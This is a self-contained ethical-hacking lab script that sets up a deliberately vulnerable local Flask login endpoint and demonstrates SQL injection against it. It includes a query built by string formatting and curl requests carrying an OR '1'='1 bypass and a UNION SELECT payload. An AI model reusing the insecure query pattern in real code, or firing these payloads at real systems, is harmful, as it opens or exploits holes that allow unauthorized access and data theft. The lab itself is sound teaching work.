EH-06: SQL Injection Basic - Bypass Login & Ekstrak Data

cd ~ && mkdir -p eth-l6 && cd eth-l6

cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
import sqlite3
app = Flask(__name__)
DB = sqlite3.connect(':memory:')
DB.execute("CREATE TABLE users (id INT, user TEXT, pass TEXT, role TEXT)")
DB.execute("INSERT INTO users VALUES (1,'admin','flag{SQLi_Basic}','admin')")

@app.route('/login')
def login():
    u = request.args.get('u',''); p = request.args.get('p','')
    q = f"SELECT * FROM users WHERE user='{u}' AND pass='{p}'"
    c = DB.execute(q); r = c.fetchone()
    return jsonify({"data": str(r), "query": q})

app.run(port=9004)
PYEOF

python3 server.py &
sleep 1

echo "=== 1. Normal ==*"
curl -s "http://localhost:9004/login?u=admin&p=admin123" | python3 -c "import sys,json;print(json.load(sys.stdin)['data'])"

echo ""
echo "=== 2. SQLi Bypass ==*"
curl -s "http://localhost:9004/login?u=admin' OR '1'='1&p=x" | python3 -c "import sys,json;print(json.load(sys.stdin)['data'])"

echo ""
echo "=== 3. SQLi with UNION ==*"
curl -s "http://localhost:9004/login?u=x' UNION SELECT 1,'flag','flag','admin'--&p=x" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['data'])"

kill %1 2>/dev/null